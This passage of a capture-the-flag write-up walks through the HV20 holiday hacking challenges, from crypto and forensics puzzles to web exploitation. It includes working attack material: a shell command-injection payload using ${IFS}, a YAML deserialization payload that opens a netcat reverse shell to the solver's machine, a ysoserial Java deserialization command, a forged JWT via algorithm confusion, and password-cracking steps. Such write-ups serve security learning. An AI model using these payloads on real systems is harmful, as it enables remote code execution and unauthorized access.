jq -r 'select(.blockId==2) | select(.data) | .data' stream1.tcp | base64 -d >> data.bin
jq -r 'select(.blockId==3) | select(.data) | .data' stream1.tcp | base64 -d >> data.bin

/opt/RsaCtfTool/RsaCtfTool.py -n 21136187113648735910956792902340987261238482724808044660872655926597365083148384784275999147719115005171023510870084682239018605609844594894880405609510814634404536868649155403129057903532257019060842686994634155205978467383309519881921823354273590936861045431841523283059891729069450531823193829758198452195159839001802409808310303539270828581792136817589972743921904535921749280330153901291531642543946250472645757855636930605097838505480384294629089321241798555566459046743741824235125746402090921912493396059817338067723079903962753795145687173236901003277653830701564333638891277876961702941978996729372105897701 -e 12703148700486856571456640284543930158485441147798980218669328932721873837903118006895885638306703700146300157588744922573525972231890883171794381140159146432366116691422353585619938803060563166160513071142031888780581428871210353376077782114636012547145421154246397069298658668372048637974096728556378192041823865600245728866360820303463508288677034505462614941425772365440025016354622878586568634346248386264921756141627262617888108166058845769396410463089005177762158324354462305559557728141729110983431022424786938837309186823930758907423061347118761390982013522713098779662020937499191572512966979990705904881359 --uncipherfile data.bin --attack wiener

Flag: HV20{5hor7_Priv3xp_a1n7_n0_5mar7}

HV20.13 Twelve steps of christmas

Author: Bread

Points: 300


On the ninth day of Christmas my true love sent to me…

nineties style xls, eighties style compression, seventies style crypto, and the rest has been said previously.



  • Wait, Bread is on the Nice list? Better check that comment again…

We get an Excel sheet that looks like a naughty/nice list with some images. Since the sheet is protected, copying text (or even selecting a cell for that matter) is not allowed, so digging into the data isn’t really possible. We can however see that there is something interesting in the comment section of Bread B. Stick’s entry.


Luckily, Google Sheets can help here as by uploading the file here removes all protections and allows us to freely interact with it. This allows us to extract the hex data within.


Converting the data back from hex and inspecting it, we can see that it is compressed data.

echo '1f 9d 8c 42 9a 38 41 24 01 80 41 83 8a 0e f2 39 78 42 80 c1 86 06 03 00 00 01 60 c0 41 62 87 0a 1e dc c8 71 23' | xxd -r -p | file -
/dev/stdin: compress'd data 12 bits

So processing the data one step further tells us what we’re looking at:

cat bread.comment | xxd -r -p | uncompress | file -
/dev/stdin: PC bitmap, Windows 98/2000 and newer format, 551 x 551 x 32

It is the header of a BMP file, which we will need later.

Looking back at the file the next step is to see, what else is inside. Following the description about ninties style xls, we have a look at it with 7zip. Extracting the contents with 7z x -oextract 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls we can find the file MBD018CB2C0/[1]Ole10Native. We need to cut of some bytes at the start and the end, but if we do that we can see that it needs the same processing as the data in bread’s comment.

cat extract/MBD018CB2C0/\[1\]Ole10Native | tail -c +180 | head -n -1 | xxd -r -p | file -
/dev/stdin: compress'd data 12 bits

cat extract/MBD018CB2C0/\[1\]Ole10Native | tail -c +180 | head -n -1 | xxd -r -p | uncompress | file -
/dev/stdin: openssl enc'd data with salted password

cat extract/MBD018CB2C0/\[1\]Ole10Native | tail -c +180 | head -n -1 | xxd -r -p | uncompress > olefile.enc

We are now looking at a file that has been encrypted. We can start to assume what encryption algorithm might have been used with the challenge description, and DES seems to be a good guess. We could try to crack it (and I initially did, using https://github.com/glv2/bruteforce-salted-openssl), but there is another way. If we look at the data in hex, e. g. with xxd -c 64 olefile.enc, we can see that there are a lot of repeating blocks, hinting at ECB encryption. ECB is bad because it encrypts same clear text blocks to the same cypher text block. It is particularly bad in images, as seen here. Given the BMP header we got earlier, we can try to have a look at the image. We need to remove the first 16 bytes of the encrypted file (as it’s the openssl encryption header) and replace them with the image header.

cp bmp.header > ecb.bmp                                                                              
tail -c +$((1+16+54)) olefile.enc >> ecb.bmp 

This will produce a valid BMP, but since it’s still partly encrypted every tool displays it in vastly different colors. In the end I managed to read the code after opening the BMP in Paint, taking a screenshot and modifying the colors in GIMP until I could scan it.


Flag: HV20{U>watchout,U>!X,U>!ECB,Im_telln_U_Y.HV2020_is_comin_2_town}

After the challenge was done, I found a tool designed for those types of ECB attacks: ElectronicColoringBook.

After playing with the options a bit, tweaking color palette and some other parameters, I came up with this command line:

./ElectronicColoringBook.py -f ../olefile.enc -O ../coloring -b 8 -r 1:1 -p 4 -P '#ffffff#000000#ffffff#000000'

It produces an almost crystal clear image of the QR code that is perfectly scannable:


HV20.14 Santa’s Special GIFt

Author: The Compiler

Points: 300


Today, you got a strange GIFt from Santa:


You are unsure what it is for. You do happen to have some wood lying around, but the tool seems to be made for metal. You notice how it has a rather strange size. You could use it for your fingernails, perhaps? If you keep looking, you might see some other uses…

The “file” (get it?) is a really small GIF that doesn’t look like it can hide much. In face, it’s just 512 bytes in size. To have a better look at it, I used Hexinator with the GIF grammar found here.


There are a couple of things to note here.

  • The actual image takes the least amount of space. Most of the bytes are for comments (pink areas)
  • The last comment is Rot13 encoded and reads hint:--keep-going
  • The last two bytes are 0x55aa, a strong indication that we are in fact looking at a bootloader

To test the bootloader theory we can use bochs to run our code. But we need a little bit of preparation before we can start. After installing it we first need to create a boot image. This is done with the tool bximage.exe inside the bochs program folder. The options needed are:

1               #Create new floppy or hard disk image
fd              #Floppy
1.44M           #Size
bootloader.img  #Name

After that we need to overwrite the first 512 bytes of the image with the contents of the GIF, which we can also do with Hexinator. After that we can start bochs and insert the image under Disk & Boot.


If we start the emulator now, we can see a blinking upper part of a QR code which looks very promising, but it’s way too little data to scan it.


For the next step I used Ghidra with the following options to load the image (bootloaders get loaded into memory at 0x7c00):


I chose not to auto-analyze the file, but instead just started disassembling on the first byte (pressing D) . We know that the bootloader is starting to draw the QR code but somehow loops back to the start before being able to finish it. Finding the right instruction was a bit of luck to be honest, but the first instruction that jumped out to me as interesting was the comparison at 0x7c5b.


Giving it a shot, I went back to Hexinator and changed the values at 0x5d from 0xe000 to 0xffff. Loading that into bochs again does indeed produce the full flag.


Flag: HV20{54n74'5-m461c-b00t-l04d3r}

HV20.H2 Oh, another secret!

Author: The Compiler

Points: 150


We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.

In addition to the regular challenge, Dec 14th also the release of the second hidden challenge. Fascinating, that such a small file is not only a valid GIF file, but a whole bootloader with additional room to spare for a hidden challenge as well. Looking back at Ghidra, there is still a lot of bytes between the end of the disassembled code and the start of the actual image data at 0x7d12. And towards the beginning of the code, there is a small section where that area is being referenced.


If we take the bytes starting from 0x7c9e and XOR them with the bytes starting from 0x7cf4 (going up until the next zero byte respectively) we get the hidden flag. To see it in action, here’s a little CyberChef.

Flag: HV20{h1dd3n-1n-pl41n-516h7}

HV20.15 Man Commands, Server Lost

Author: inik

Points: 300


Elf4711 has written a cool front end for the linux man pages. Soon after publishing he got pwned. In the meantime he found out the reason and improved his code. So now he is sure it’s unpwnable.


  • You need to start the web application from the RESOURCES section on top
  • This challenge requires a VPN connection into the Hacking-Lab. Check out the document in the RESOURCES section.


  • Don’t miss the source code link on the man page

The website is a browsable collection of man pages with a search function. Luckily we have access to the full source code which I copied down below.

# flask_web/app.py

from flask import Flask,render_template,redirect, url_for, request
import os
import subprocess
import re

app = Flask(__name__)

class ManPage:
  def __init__(self, name, section, description):
    self.name = name
    self.section = section
    self.description = description

def main():
  return redirect('/man/1/man')

def section(nr="1"):
  ret = os.popen('apropos -s ' + nr + " .").read()
  return render_template('section.html', commands=parseCommands(ret), nr=nr)

def manpage(section=1, command="bash"):
  manFile = "/usr/share/man/man" + str(section) + "/" + command + "." + str(section) + ".gz"
  cmd = 'cat ' + manFile + '| gunzip | groff -mandoc -Thtml'
    result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE)
  except subprocess.CalledProcessError as grepexc:                                                                                                   
    return render_template('manpage.html', command=command, manpage="NOT FOUND")

  html = result.stdout.decode("utf-8")
  htmlLinked = re.sub(r'(<b>|<i>)?([a-zA-Z0-9-_.]+)(</b>|</i>)?\(([1-8])\)', r'<a href="/man/\4/\2">\1\2\3</a><a href="/section/\4">(\4)</a>', html)
  htmlStripped = htmlLinked[htmlLinked.find('<body>') + 6:htmlLinked.find('</body>')]
  return render_template('manpage.html', command=command, manpage=htmlStripped)

@app.route('/search/', methods=["POST"])
def search(search="bash"):
  search = request.form.get('search')
  # FIXED Elf4711: Cleaned search string, so no RCE is possible anymore
  searchClean = re.sub(r"[;& ()$|]", "", search)
  ret = os.popen('apropos "' + searchClean + '"').read()
  return render_template('result.html', commands=parseCommands(ret), search=search)
def parseCommands(ret):
  commands = []
  for line in ret.split('\n'):
    l = line.split(' - ')
    if (len(l) > 1):
      m = l[0].split();
      manPage = ManPage(m[0], m[1].replace('(', '').replace(')',''), l[1])
  return commands

if __name__ == "__main__":
  app.run(host='' , port=7777)

While /search sounds promising on the first glance with the comment and all that, the vulnerable spot is actually in the /section route. Here our input is passed to os.popen() without any validation / sanitization. This allows us to inject any commands we like, as long as they don’t contain a space. This however can easily be circumvented by using ${IFS}, the Internal Field Seperator which is - by default - a space character.

If we want to get the output back on the page, we need to display it according to parseCommands. This function expects output to be in the form of word (word) - words. As an example here is my payload to read the flag: 6${IFS}.;echo${IFS}tyrox${IFS}.${IFS}-${IFS}`cat${IFS}flag`. I used 6 as there is only one entry, and it helped in the debugging process locally, but an invalid number would have worked the same.


Flag: HV20{D0nt_f0rg3t_1nputV4l1d4t10n!!!}

HV20.16 Naughty Rudolph

Author: dr_nick

Points: 300


Santa loves to keep his personal secrets on a little toy cube he got from a kid called Bread. Turns out that was not a very good idea. Last night Rudolph got hold of it and frubl’d it about five times before spitting it out. Look at it! All the colors have come off! Naughty Rudolph!



  • The flag matches /^HV20{[a-z3-7_@]+}$/ and is read face by face, from left to right, top to bottom
  • The cube has been scrambled with ~5 moves in total
  • jElf has already started trying to solve the problem, however he got lost with all the numbers. Feel free to use his current state if you don’t want to start from scratch…

First, we need to open the stl file and have a look at it. Paint3D can open it, but we need to color in the blocks to be able to see the text layer that is floating on top. It is also quite important to keep the orientation in mind that the file opens in.


Next step is to find library that allows us to work with Rubik’s Cubes before writing our own. I found and used https://pypi.org/project/rubik-cube/. Then all we need is a script that iterates over all possible rotations of the cube (I understood the hint to mean something between 4 to 6 moves, hence my code). I also reduced all possible moves as I was hoping that middle slice turns hadn’t been used.

#!/usr/bin/env python3

from rubik.cube import Cube
import re

reg = re.compile('^HV20{[a-z3-7_@]+}$')

def get_flag(cube):
    cl = cube._color_list()
    flag = ''
    flag += ''.join(cl[0:9])
    flag += ''.join(cl[9:12] + cl[21:24] + cl[33:36])
    flag += ''.join(cl[12:15] + cl[24:27] + cl[36:39])
    flag += ''.join(cl[15:18] + cl[27:30] + cl[39:42])
    flag += ''.join(cl[18:21] + cl[30:33] + cl[42:45])
    flag += ''.join(cl[45:54])
    return flag

#moves = 'L Li R Ri U Ui D Di F Fi B Bi M Mi E Ei S Si'.split(' ')
moves = 'L Li R Ri U Ui D Di F Fi B Bi'.split(' ')

for m1 in moves:
    for m2 in moves:
        print(" " + m2)
        for m3 in moves:
            for m4 in moves:
                c = Cube('6_ei{aes3HV7_weo@sislh_e0k__t_nsooa_cda4r52c__nsllt}ph')
                getattr(c, m1)()
                getattr(c, m2)()
                getattr(c, m3)()
                getattr(c, m4)()
                flag = get_flag(c)
                if reg.match(flag):
                    print (f"{m1} {m2} {m3} {m4}")
                c1 = c.flat_str()
                for m5 in moves:
                    c = Cube(c1)
                    getattr(c, m5)()
                    flag = get_flag(c)
                    if reg.match(flag):
                        print (f"{m1} {m2} {m3} {m4} {m5}")
                    c2 = c.flat_str()
                    for m6 in moves:
                        c = Cube(c2)
                        getattr(c, m6)()
                        flag = get_flag(c)
                        if reg.match(flag):
                            print (f"{m1} {m2} {m3} {m4} {m5} {m6}")

After a short while the script prints out a few flag candidates with one of them clearly being the right one. The move combination is Li Bi D Fi R R.

Flag: HV20{no_sle3p_since_4wks_lead5_to_@_hi6hscore_a7_last}

HV20.17 Santa’s Gift Factory Control

Author: fix86

Points: 300


Santa has a customized remote control panel for his gift factory at the north pole. Only clients with the following fingerprint seem to be able to connect:



Connect to Santa’s super-secret control panel and circumvent its access controls.

Santa’s Control Panel


  • If you get a 403 forbidden: this is part of the challenge
  • The remote control panel does client fingerprinting
  • There is an information leak somewhere which you need to solve the challenge
  • The challenge is not solvable using brute force or injection vulnerabilities
  • Newlines matter, check your files

At first the string of numbers didn’t tell me anything at all, so I tried to open the website, which promptly ended in an error 403. So I just tried to google the string and the second entry was a blog that would prove to be tremendously helpful: https://medium.com/cu-cyber/impersonating-ja3-fingerprints-b9f555880e42. This blog talked about a technique called JA3, which is outlined here and here, with code available here.

In the first mentioned blog there is also a tool to impersonate JA3 fingerprints, which we should be able to use to get access. For all the following code I modified the ja3client_test.go by adding my own tests and running it with go test -v -run Test1.

For the first test I tried to get a simple connection.

func Test1(t *testing.T) {
    client, _ := NewWithString("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")

    r, _ := client.Get("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/")

    b, _ := ioutil.ReadAll(r.Body)

This gives us a website, which means the server is accepting our fingerprint:

        <meta charset="utf-8">
        <title>Santa's Control Panel</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link href="static/bootstrap/bootstrap.min.css" rel="stylesheet" media="screen">
        <link href="static/fontawesome/css/all.min.css" rel="stylesheet" media="screen">
        <link href="static/style.css" rel="stylesheet" media="screen">
        <div class="login">
            <form action="/login" method="post">
                <label for="username">
                    <i class="fas fa-user"></i>
                <input type="text" name="username" placeholder="Username" id="username">
                <label for="password">
                    <i class="fas fa-lock"></i>
                <input type="password" name="password" placeholder="Password" id="password">
                <input type="submit" value="Login">

The next step is to just test a couple of default username / password combination.

func Test2(t *testing.T) {
    client, _ := NewWithString("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")

    r, _ := client.PostForm("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/login", url.Values{"username": {"admin"}, "password": {"admin"}})

    b, _ := ioutil.ReadAll(r.Body)

This results in two things:

map[Connection:[keep-alive] Content-Length:[1275] Content-Type:[text/html; charset=utf-8] Date:[Sun, 27 Dec 2020 20:12:29 GMT] Server:[nginx/1.19.6] Set-Cookie:[session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDkxMDM1NDksImlhdCI6MTYwOTA5OTk0OSwic3ViIjoibm9uZSJ9.X-GFkr4x-f7qama8P_NyOzlCUybRHXKv6VrTBYd7USdlPCLo6BrS1623_6_xDsgyEMBinbPn0rEakcEuQ5wIQHUjx_9EnhxeZthIjmOSQNMK-ZhKfd8vtfq8pL1GaNDXGlDQCM9xlhtSb8WmqbWA6HhqhMQHtpmA-Wb2xqQMYPjQyX8qyJQoHY2BF-1Cw-tEW07CpqokN0-9Cw_V6SOHps4paKBNjKllUNjFl8KUvbkpH_XPVZj6aspDZG3IYYwn2WVCoufsJI1b3U37kugGM_NbWcg40dxXo_kr-bE9Nh-W6igPFynz36l6kfAqXRT8i41AmetgRVvb9KPDKgCKQg; Path=/]]

<!--DevNotice: User santa seems broken. Temporarily use santa1337.-->

Not only do we get a cookie, which we can save and use later on but also a valid username. Decoding the JWT with a tool like https://jwt.io/ we can note a couple of things: The token is signed using the RS256 method, it uses the key /keys/1d21a9f945 and sub (= subject) is currently not set. We could try to download the key and break it.

func Test3(t *testing.T) {
    client, _ := NewWithString("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")

    r, _ := client.Get("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/keys/1d21a9f945")

    b, _ := ioutil.ReadAll(r.Body)

While this does result in the key file, it doesn’t seem possible to break the key. But there is a way which is outlined in this blog under point 3. We could try to change the signature type of the JWT from an asymmetric RS256 to a symmetric HS256, signing the token with the key file that we just downloaded. This works just like outlined in the blog, we just need to use santa1337 as the username and update the expiration of the token.

#!/usr/bin/env python3
import jwt

public = open('key', 'r').read()
print(jwt.encode({"exp": 1708222994,"iat": 1608219394,"sub": "santa1337"}, key=public, algorithm='HS256'))

Using the resulting token results in the final code:

func Test4(t *testing.T) {
    client, _ := NewWithString("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")

    req, _ := http.NewRequest("GET", "https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/", nil)
    req.AddCookie(&http.Cookie{Name: "session", Value: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MDgyMjI5OTQsImlhdCI6MTYwODIxOTM5NCwic3ViIjoic2FudGExMzM3In0.SzcCZD7DRJcxIsiE7SqAyLirLPUG0KWvhDo2fAz_Hv0"})

    r, _ := client.Do(req)

    b, _ := ioutil.ReadAll(r.Body)

This does in fact log us into the website, which contains the comment <!--Congratulations, here's your flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}-->.

Flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}

HV20.18 Santa’s lost home

Author: darkstar

Points: 300


Santa has forgotten his password and can no longer access his data. While trying to read the hard disk from another computer he also destroyed an important file. To avoid further damage he made a backup of his home partition. Can you help him recover the data.

When asked he said the only thing he remembers is that he used his name in the password… I thought this was something only a real human would do…



  • It’s not rock-science, it’s station-science!
  • Use default options

After extracting the image and mounting it to a folder (using mount 9154cb91-e72e-498f-95de-ac8335f71584.img mnt), we can look inside and see a folder labeled .ecryptfs, which tells us that we are dealing with eCryptfs. Searching for “cracking ecryptfs” leads us to this presentation, which has a lot of valuable information how to attack such an encryption. We need to pay special attention to slides 22 and following. If we want to have a chance at breaking the encryption we need the file wrapped-passphrase, which is missing from our image (that is the important file the challenge is talking about). But we can still recover the file as the data is not yet overwritten. Searching for it with the command xxd -p 9154cb91-e72e-498f-95de-ac8335f71584.img | grep 3a02 -A 3 only yields two possible locations, but only the second one looks interesting. The hexdump of the file is:

00000000: 3a02 a723 b12f 66bc feaa 3035 3131 3139  :..#./f...051119
00000010: 6230 6261 6365 3061 6236 dbb8 dd00 478f  b0bace0ab6....G.
00000020: a189 aec3 cbe5 2294 f4ca d157 fe2d 7865  ......"....W.-xe
00000030: 6774 611f 321b 9930 6fc7                 gta.2..0o.

The file is hashed with the user password, which we will need to brute force. The hints lead us in the right direction that the classic rockyou.txt is not going to help us here, but instead we will need the “Human Wordlist” from CrackStation. Cracking the file is then a straight forward process:

/usr/share/john/ecryptfs2john.py wrapped-passphrase.rec > wrapped-passphrase.hash
grep -i santa crackstation-human-only.txt > filtered-crackstation-human-only.txt
john --wordlist=filtered-crackstation-human-only.txt wrapped-passphrase.hash

The user password is think-santa-lives-at-north-pole.

Next we need to unwrap the wrapped-passphrase to get the mount password. After installing the package ecryptfs-utils, we have access to the tool ecryptfs-unwrap-passphrase.

ecryptfs-unwrap-passphrase wrapped-passphrase.rec

The recovered mount password is eeafa1586db2365d5f263ef867f586e4.

The last step is to mount the encrypted image, choosing 1) passphrase as the first option with the recovered mount password and leaving everything else at default.

mount -t ecryptfs mnt/.ecryptfs ecr

This has the slight disadvantage of not decrypting the filenames, but it’s nothing a small grep can’t handle.

find ecr -type f -exec grep HV20 {} \+

Flag: HV20{a_b4ckup_of_1mp0rt4nt_f1l35_15_3553nt14l}

HV20.19 Docker Linter Service

Author: The Compiler

Points: 300


Docker Linter is a useful web application ensuring that your Docker-related files follow best practices. Unfortunately, there’s a security issue in there…


This challenge requires a reverse shell. You can use the provided Web Shell or the VPN to solve this challenge (see RESOURCES on top).

Upon spawning an instance of the website we are greeted with a page to syntax check certain Docker related files.



At first I tried to find known CVEs in the mentioned tools, but couldn’t find any. So as a next step I tried to force errors in the different modules to get more information what is being used. One way to spawn a promising error is to enter {}() into the docker-compose.yml linter.


Certain YAML parsers are vulnerable to deserialization attacks. And sure enough, searching for it a bit finds us a CTF writeup as well as a GitHub issue. Using those PoCs we can build our own exploit code. We need to spawn a provided WebVPN instance and note its IP address. Both of the following payloads work the same.

- !!python/object/new:map 
  - !!python/name:eval
  - [ "__import__('os').system('mkfifo /dev/shm/tyrox;cat /dev/shm/tyrox|/bin/sh -i 2>&1|nc 1337 >/dev/shm/tyrox')" ]

  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('mkfifo /dev/shm/tyrox;cat /dev/shm/tyrox|/bin/sh -i 2>&1|nc 1337 >/dev/shm/tyrox')"

This gives us a working remote shell on the target.


Flag: HV20{pyy4ml-full-l04d-15-1n53cur3-4nd-b0rk3d}

HV20.20 Twelve steps of Christmas

Author: Bread

Points: 400


On the twelfth day of Christmas my true love sent to me… twelve rabbits a-rebeling, eleven ships a-sailing, ten (twentyfourpointone) pieces a-puzzling, and the rest is history.



Right after opening the hint, I recognized the esoteric language Chef that is required to run it, so this is where I started. Plugging it into an online interpreter like http://p-helpers.appspot.com/chef/chef.html gives us the hint breadbread is a good egg.

Now we need to unpack all the layers to the image. If we search for long strings inside it (strings -30 rabbits.png) we can see that there is HTML code embedded within. I first went the unnecessary route of trying to extract it and open it like that. While that does work and also makes it easier to look at the JavaScript code it breaks the rest of the functionality.

grep -aboP '<html>|</html>' bfd96926-dd11-4e07-a05a-f6b807570b5a.png
tail -c +$((1+41)) bfd96926-dd11-4e07-a05a-f6b807570b5a.png | head -c $((6970-41+7)) > embed.html

So instead we can just rename the file to .html and open it like that in a browser. Looking at the JavaScript code we can see the following lines:

window.onload = function () {
        px.onclick = dID;

By clicking on the image it is shifted down and a testbox appears that was hidden before. We also get an error in the Console stating Uncaught TypeError: string is undefined. Looking further into the code we notice these lines:

var passwd = SHA1(window.location.search.substr(1).split('p=')[1]).toUpperCase();
log.value = 'TESTING: ' + passwd + '\n';
if (passwd != '60DB15C4E452C71C5670119E7889351242A83505') {

So we need to add the GET parameter p to the URL and have the SHA1 hash of the value equal the listed one. Simply searching for it doesn’t produce any results, but search at https://crackstation.net/ gives us the password bunnyrabbitsrule4real. Adding that to the URL and clicking the image opens a download dialog of the file 11.py.

import sys
i = bytearray(open(sys.argv[1], 'rb').read().split(sys.argv[2].encode('utf-8') + b"\n")[-1])
j = bytearray(b"Rabbits are small mammals in the family Leporidae of the order Lagomorpha (along with the hare and the pika). Oryctolagus cuniculus includes the European rabbit species and its descendants, the world's 305 breeds[1] of domestic rabbit. Sylvilagus includes 13 wild rabbit species, among them the seven types of cottontail. The European rabbit, which has been introduced on every continent except Antarctica, is familiar throughout the world as a wild prey animal and as a domesticated form of livestock and pet. With its widespread effect on ecologies and cultures, the rabbit (or bunny) is, in many areas of the world, a part of daily life-as food, clothing, a companion, and a source of artistic inspiration.")
open('11.7z', 'wb').write(bytearray([i[_] ^ j[_%len(j)] for _ in range(len(i))])) 

The script takes two inputs (one being a filename, the other a string), then splits the file on the string and XORs it with the text about rabbits. Using the challenge image as the filename is kind of self-evident and after some tries I used the string breadbread from the hint as the correct seperator.

This produces the file 11.7z which in turn contains the archive 11.tar. Unpacking that results in a folder full of Docker image layers. Two files tell us the next steps.

manifest.json contains all layering information:


The file 1d66b0....json lists all the RUN commands of each layer, with one part being of particular interest:

{"created": "2020-12-08T14:41:59.119577934+11:00",
"created_by": "RUN /bin/sh -c cp /tmp/t/bunnies12.jpg bunnies12.jpg && steghide embed -e loki97 ofb -z 9 -p \"bunnies12.jpg\\\\\\\" -ef /tmp/t/hidden.png -p \\\\\\\"SecretPassword\" -N -cf \"bunnies12.jpg\" -ef \"/tmp/t/hidden.png\" && mkdir /home/bread/flimflam && xxd -p bunnies12.jpg > flimflam/snoot.hex && rm -rf bunnies12.jpg && split -l 400 /home/bread/flimflam/snoot.hex /home/bread/flimflam/flom && rm -rf /home/bread/flimflam/snoot.hex && chmod 0000 /home/bread/flimflam && apk del steghide xxd # buildkit",                               "comment": "buildkit.dockerfile.v0"},

Instead of starting the Docker containers we can just extract the last layer and work from there. We need to restore the original image bunnies12.jpg from the hexdump parts and then extract the embedded file with steghide. The original command is using a lot of backslash escapes to make it more confusing but carefully working backwards we can get to the original password.

tar xvaf ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1/layer.tar
cd home/bread
cat flom* | xxd -r -p > bunnies12.jpg
steghide extract -sf bunnies12.jpg -p 'bunnies12.jpg\" -ef /tmp/t/hidden.png -p \"SecretPassword' -xf hidden.png

The resulting file is:


We finally arrive at the flag.

Flag: HV20{My_pr3c10u5_my_r363x!!!,_7hr0w_17_1n70_7h3_X1._-_64l4dr13l}

HV20.21 Threatened Cat

Author: inik

Points: 300


You can feed this cat with many different things, but only a certain kind of file can endanger the cat.

Do you find that kind of files? And if yes, can you use it to disclose the flag? Ahhh, by the way: The cat likes to hide its stash in /usr/bin/catnip.txt.

Note: The cat is currently in hibernation and will take a few seconds to wake up.

We get presented with a webservice that allows us to upload, store and download files. Upon uploading a file, some information is displayed back at us:


We can get more information on the backend if we navigate to a non-existent folder. The resulting error 404 tells us that the server is running Apache Tomcat/9.0.34. Searching for that particular version number tells us that there is the CVE-2020-9484 that needs some conditions to be fulfilled but it looks like we are lucky enough. There is also a good write-up that explains all necessary steps in detail.

We need to

  • upload a file ending in .session with a Java Deserialization payload
  • call the website again with a JSESSIONID cookie pointing to our uploaded file to trigger it

To generate the payload we can use ysoserial:

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'cp /usr/bin/catnip.txt /usr/local/uploads/flag' > tyrox.session

Upon uploading we get the message [W]: This cat is really threatened, now letting us know that we are on the right track. Next we need to trigger it. Using BurpSuite we can modify a request and replace the cookie, making sure to not include .session in the parameter:

GET /cat/ HTTP/1.1
Host: fdb30169-45fc-49dc-adf3-a56ad815c6f0.idocker.vuln.land
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.7,de;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://fdb30169-45fc-49dc-adf3-a56ad815c6f0.idocker.vuln.land/cat/
Connection: close
Cookie: JSESSIONID=../../../../../../usr/local/uploads/tyrox

This results in an error 500, but still triggers our payload. Navigating back to the page a new file flag is ready for us to download.

Flag: HV20{!D3s3ri4liz4t10n_rulz!}

HV20.22 Padawanlock

Author: inik

Points: 300


A new apprentice Elf heard about “Configuration as Code”. When he had to solve the problem to protected a secret he came up with this “very sophisticated padlock”.


We have a binary file that asks us for a 6 digit PIN and then displays more or less complete quotes from the Star Wars movies. Since every try takes quite a bit of time, simply bruteforcing the flag might not be done before the end of the day, so let’s turn to Ghidra for help. After loading the binary we can start to analyze it. The function entry mainly just calls FUN_000111e0. Ghidra’s decompiled view tells us what’s happening.


Our input is converted from string to integer, multiplied by 0x14, added to 0x0001124b and the resulting address it then called. That means that starting with 0x0001124b and in increments of 0x14 a different code is called, depending on the PIN. If we jump to that location and tell Ghidra to dissassemble the code (pressing D), we start to see a similar pattern (I added labels for the first three PINs):


Every time a huge number is loaded into ECX, which is then decremented step by step until it reaches zero. At this point a single character of the output is stored (0x7b = { in the first case) and execution jumps to a different part where the same procedure repeats until the output is assembled. This is the reason why every single PIN try takes a bit of time and makes brute-forcing useless. This leaves us two ways to solve the challenge: We can either patch the binary at every increment to load 0x01 into ECX to make execution way faster. Or we can write a small script which assembles all the possible flags and their respective PIN without having to run it. I combined both approaches in one.

#!/usr/bin/env python3

from dataclasses import dataclass

def main():
    class OffsetInfo:
        char: str
        next_offset: int
        coming_from: int = -1

    char_list = [None]*1000000

    print("Processing file, patching jumps, gathering chars")

    with open('padawanlock.copy', 'r+b') as f:
        offset = 0x124b #starting offset for PIN 000000
        for pin in range(1000000):
            f.seek(offset + pin * 0x14)
            data = f.read(0x14) #all bytes for PIN
            char = chr(data[13])    #next output char
            next_offset = int.from_bytes(data[16:20], byteorder='little', signed=True) // 0x14 + 1 + pin #jmp (relative to next instruction address)
            if next_offset < 0: #jmp back to main function
                next_offset = -1
            if char_list[pin] == None:
                char_list[pin] = OffsetInfo(char, next_offset)
                char_list[pin].char = char
                char_list[pin].next_offset = next_offset
            if char_list[next_offset] == None:
                char_list[next_offset] = OffsetInfo(None, None, pin)
                char_list[next_offset].coming_from = pin
            #overwrite value
            f.seek(offset + 1 + pin * 0x14)

    print("Enumerating all flags")

    for pin in range(1000000):
        offset_info = char_list[pin]
        if offset_info.coming_from == -1:   #only flag candiates starting here
            need_more_steps = True
            quote = ""
            while need_more_steps:
                quote += offset_info.char
                if offset_info.next_offset == -1:
                    need_more_steps = False
                    print(f"{pin}: {quote}")
                    offset_info = char_list[offset_info.next_offset]

if __name__ == '__main__':

This requires a copy of the binary, named padawanlock.copy and works on that. After patching the binary in all 1.000.000 places it outputs all possible flag candidates with the associated PINs. Finding the right flag in that is way quicker using the Python script, but it could still be brute forced with bash:

./patch-binary.py | grep  'HV20{'

for pin in {000000..999999}; do echo $pin; echo $pin | ./padawanlock.copy; echo; done | grep -B 1 'HV20{'

Whichever method we use, the correct pin is 451235.

Flag: HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}

HV20.23 Those who make backups are cowards!

Author: hardlock

Points: 300


Santa tried to get an important file back from his old mobile phone backup. Thankfully he left a post-it note on his phone with the PIN. Sadly Rudolph thought the Apple was real and started eating it (there we go again…). Now only the first of eight digits, a 2, is still visible…

But maybe you can do something to help him get his important stuff back?



  • If you get stuck, call Shamir

We are dealing with an encrypted iPhone backup today. First we need to crack the PIN to access the data. Luckily there is a nice blog post which describes the process, including the linked Perl script which we can use to extract the BackupKeyBag.

itunes_backup2hashcat.pl 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583/Manifest.plist

